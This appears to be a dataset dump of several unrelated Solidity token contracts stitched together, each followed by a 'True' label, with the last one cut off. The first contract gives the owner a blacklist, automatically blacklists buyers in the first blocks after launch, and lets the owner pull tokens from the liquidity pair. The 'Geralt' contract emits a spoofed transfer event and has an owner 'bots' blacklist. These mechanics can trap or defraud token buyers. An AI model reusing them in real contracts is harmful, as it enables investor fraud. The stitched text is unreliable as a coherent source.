maxTransactionAmount = newNum * (10**18);
}
function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
maxWallet = newNum * (10**18);
}
function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
_isExcludedMaxTransactionAmount[updAds] = isEx;
}
// only use to disable contract sales if absolutely necessary (emergency use only)
function updateSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
buyMarketingFee = _marketingFee;
buyLiquidityFee = _liquidityFee;
buyDevFee = _devFee;
buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
require(buyTotalFees <= 20, "Must keep fees at 20% or less");
}
function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee, uint256 _earlySellLiquidityFee, uint256 _earlySellMarketingFee) external onlyOwner {
sellMarketingFee = _marketingFee;
sellLiquidityFee = _liquidityFee;
sellDevFee = _devFee;
earlySellLiquidityFee = _earlySellLiquidityFee;
earlySellMarketingFee = _earlySellMarketingFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
require(sellTotalFees <= 25, "Must keep fees at 25% or less");
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
_isExcludedFromFees[account] = excluded;
emit ExcludeFromFees(account, excluded);
}
function blacklistAccount (address account, bool isBlacklisted) public onlyOwner {
_blacklist[account] = isBlacklisted;
}
function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
_setAutomatedMarketMakerPair(pair, value);
}
function _setAutomatedMarketMakerPair(address pair, bool value) private {
automatedMarketMakerPairs[pair] = value;
emit SetAutomatedMarketMakerPair(pair, value);
}
function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
marketingWallet = newMarketingWallet;
}
function updateDevWallet(address newWallet) external onlyOwner {
emit devWalletUpdated(newWallet, devWallet);
devWallet = newWallet;
}
function isExcludedFromFees(address account) public view returns(bool) {
return _isExcludedFromFees[account];
}
event BoughtEarly(address indexed sniper);
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens");
if(amount == 0) {
super._transfer(from, to, 0);
return;
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!swapping
){
if(!tradingActive){
require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
else if(!_isExcludedMaxTransactionAmount[to]){
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
}
}
}
// anti bot logic
if (block.number <= (launchedAt + 1) &&
to != uniswapV2Pair &&
to != address(this) &&
to != address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)
) {
_blacklist[to] = true;
}
// early sell logic
bool isBuy = from == uniswapV2Pair;
if (!isBuy && enableEarlySellTax) {
if (_holderFirstBuyTimestamp[from] != 0 &&
(_holderFirstBuyTimestamp[from] + (24 hours) >= block.timestamp)) {
sellLiquidityFee = earlySellLiquidityFee;
sellMarketingFee = earlySellMarketingFee;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
} else {
sellLiquidityFee = 5;
sellMarketingFee = 8;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
} else {
if (_holderFirstBuyTimestamp[to] == 0) {
_holderFirstBuyTimestamp[to] = block.timestamp;
}
if (!enableEarlySellTax) {
sellLiquidityFee = 5;
sellMarketingFee = 8;
sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if(
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
if(!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]){
autoBurnLiquidityPairTokens();
}
bool takeFee = !swapping;
// if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if(takeFee){
// on sell
if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
fees = amount.mul(sellTotalFees).div(100);
tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
tokensForDev += fees * sellDevFee / sellTotalFees;
tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
}
// on buy
else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
fees = amount.mul(buyTotalFees).div(100);
tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
tokensForDev += fees * buyDevFee / buyTotalFees;
tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
}
if(fees > 0){
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
deadAddress,
block.timestamp
);
}
function swapBack() private {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
bool success;
if(contractBalance == 0 || totalTokensToSwap == 0) {return;}
if(contractBalance > swapTokensAtAmount * 20){
contractBalance = swapTokensAtAmount * 20;
}
// Halve the amount of liquidity tokens
uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
uint256 initialETHBalance = address(this).balance;
swapTokensForEth(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);
uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev;
tokensForLiquidity = 0;
tokensForMarketing = 0;
tokensForDev = 0;
(success,) = address(devWallet).call{value: ethForDev}("");
if(liquidityTokens > 0 && ethForLiquidity > 0){
addLiquidity(liquidityTokens, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
}
(success,) = address(marketingWallet).call{value: address(this).balance}("");
}
function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
lpBurnFrequency = _frequencyInSeconds;
percentForLPBurn = _percent;
lpBurnEnabled = _Enabled;
}
function autoBurnLiquidityPairTokens() internal returns (bool){
lastLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit AutoNukeLP();
return true;
}
function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
lastManualLpBurnTime = block.timestamp;
// get balance of liquidity pair
uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
// calculate amount to burn
uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
// pull tokens from pancakePair liquidity and move to dead address permanently
if (amountToBurn > 0){
super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
}
//sync price since this is not in a swap transaction!
IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
pair.sync();
emit ManualNukeLP();
return true;
}
}
|
True
|
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/**
https://t.me/geralttoken
*/
pragma solidity ^0.8.4;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Geralt is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Geralt";
string private constant _symbol = "Geralt";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x5d9363F40Cf88c8790c202c85AcBcFc4Ba92ce16);
_feeAddrWallet2 = payable(0x5d9363F40Cf88c8790c202c85AcBcFc4Ba92ce16);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0x1C9074E716Da04002DAeb21114Cec14B06ff9697), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 0;
_feeAddr2 = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet2.transfer(amount/10*2);
_feeAddrWallet1.transfer(amount/10*8);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function nonosquare(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
True
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] |
/*
The Cartel
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IUniswapV2Pair {
function sync() external;
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
virtual
override
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(
senderBalance >= amount,
